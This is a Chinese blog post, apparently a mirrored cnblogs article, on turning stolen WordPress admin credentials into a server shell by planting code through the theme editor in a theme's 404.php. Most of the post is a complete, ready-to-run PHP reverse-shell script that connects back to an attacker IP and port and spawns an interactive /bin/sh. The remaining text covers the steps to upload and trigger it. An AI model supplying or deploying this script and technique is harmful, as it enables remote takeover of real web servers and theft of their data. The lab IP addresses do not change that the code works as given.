zoukankan      html  css  js  c++  java
  • Wordpress主题编辑器漏洞复现

    Wordpress是全球流行的博客网站,全球有上百万人使用它来搭建博客。他使用PHP脚本和Mysql数据库来搭建网站。

    那么,如果当我们在渗透测试过程中获得到了别人Wordpress的账号和密码之后,如何才能拿到该服务器的shell呢?

    我们可以利用Wordpress主题编辑的功能,在主题的页面中插入我们构造的恶意的php代码,来获得服务器的shell。

    具体实施过程如下:

    我们点击   Appearance——>Editor

    我们这里第一步随便选一个主题,我这里选的是 Twenty Fourteen,然后点击 Select 选择这个,然后点击404页面这里。意思就是去编辑Twenty Fourteen 的404页面。我们最好是选择编辑404页面,因为404页面我们插入恶意代码对该文件不会有影响。如果是其他文件的话,有可能会导致主题不能安装

    然后将我们的恶意代码替换掉404页面原来的代码。这是一个利用php写的端口转发的工具,只要我们访问了该文件,他就会向指定主机的指定端口发送反弹shell。

    #利用php反弹shell
    <?php
    set_time_limit (0);
    $VERSION = "1.0";
    $ip = '192.168.10.27';     // 修改成你的主机
    $port = 1234;           // 修改成你的端口
    $chunk_size = 1400;
    $write_a = null;
    $error_a = null;
    $shell = 'uname -a; w; id; /bin/sh -i';
    $daemon = 0;
    $debug = 0;
    
    if (function_exists('pcntl_fork')) {
    	// Fork and have the parent process exit
    	$pid = pcntl_fork();
    	
    	if ($pid == -1) {
    		printit("ERROR: Can't fork");
    		exit(1);
    	}
    	if ($pid) {
    		exit(0);  // Parent exits
    	}
    
    	if (posix_setsid() == -1) {
    		printit("Error: Can't setsid()");
    		exit(1);
    	}
    
    	$daemon = 1;
    } else {
    	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
    }
    chdir("/");
    umask(0);
    
    $sock = fsockopen($ip, $port, $errno, $errstr, 30);
    if (!$sock) {
    	printit("$errstr ($errno)");
    	exit(1);
    }
    // Spawn shell process
    $descriptorspec = array(
       0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
       1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
       2 => array("pipe", "w")   // stderr is a pipe that the child will write to
    );
    
    $process = proc_open($shell, $descriptorspec, $pipes);
    
    if (!is_resource($process)) {
    	printit("ERROR: Can't spawn shell");
    	exit(1);
    }
    
    stream_set_blocking($pipes[0], 0);
    stream_set_blocking($pipes[1], 0);
    stream_set_blocking($pipes[2], 0);
    stream_set_blocking($sock, 0);
    
    printit("Successfully opened reverse shell to $ip:$port");
    
    while (1) {
    	// Check for end of TCP connection
    	if (feof($sock)) {
    		printit("ERROR: Shell connection terminated");
    		break;
    	}
    
    	// Check for end of STDOUT
    	if (feof($pipes[1])) {
    		printit("ERROR: Shell process terminated");
    		break;
    	}
    
    	$read_a = array($sock, $pipes[1], $pipes[2]);
    	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    
    	if (in_array($sock, $read_a)) {
    		if ($debug) printit("SOCK READ");
    		$input = fread($sock, $chunk_size);
    		if ($debug) printit("SOCK: $input");
    		fwrite($pipes[0], $input);
    	}
    
    	if (in_array($pipes[1], $read_a)) {
    		if ($debug) printit("STDOUT READ");
    		$input = fread($pipes[1], $chunk_size);
    		if ($debug) printit("STDOUT: $input");
    		fwrite($sock, $input);
    	}
    
    	if (in_array($pipes[2], $read_a)) {
    		if ($debug) printit("STDERR READ");
    		$input = fread($pipes[2], $chunk_size);
    		if ($debug) printit("STDERR: $input");
    		fwrite($sock, $input);
    	}
    }
    fclose($sock);
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($process);
    function printit ($string) {
    	if (!$daemon) {
    		print "$string
    ";
    	}
    }
    ?> 

    恶意代码替换完成之后,我们点击 Update File 更新文件。 

     我们可以看到文件更新成功,我们记住url 这里这个主题的名字

    然后我们访问该主题下的404.php页面:http://192.168.10.30/backup_wordpress/wp-content/themes/twentyfourteen/404.php,同时,我们主机监听相应的端口。可以看到,我们已经得到shelll了。 

  • 相关阅读:
    select 的readonly效果
    HTML5与CSS3设计模式
    关于htons和htonl
    Http Range
    如何隐藏aspx文件格式,变成html
    UITableView的cell 自定义 高度,样式
    gson 数据里面设置特殊字符不转换为十六进制
    HDU2164:Rock, Paper, or Scissors?
    黑马程序员java基础学习网络编程2
    HDU2137:circumgyrate the string
  • 原文地址:https://www.cnblogs.com/csnd/p/11807744.html
Copyright © 2011-2022 走看看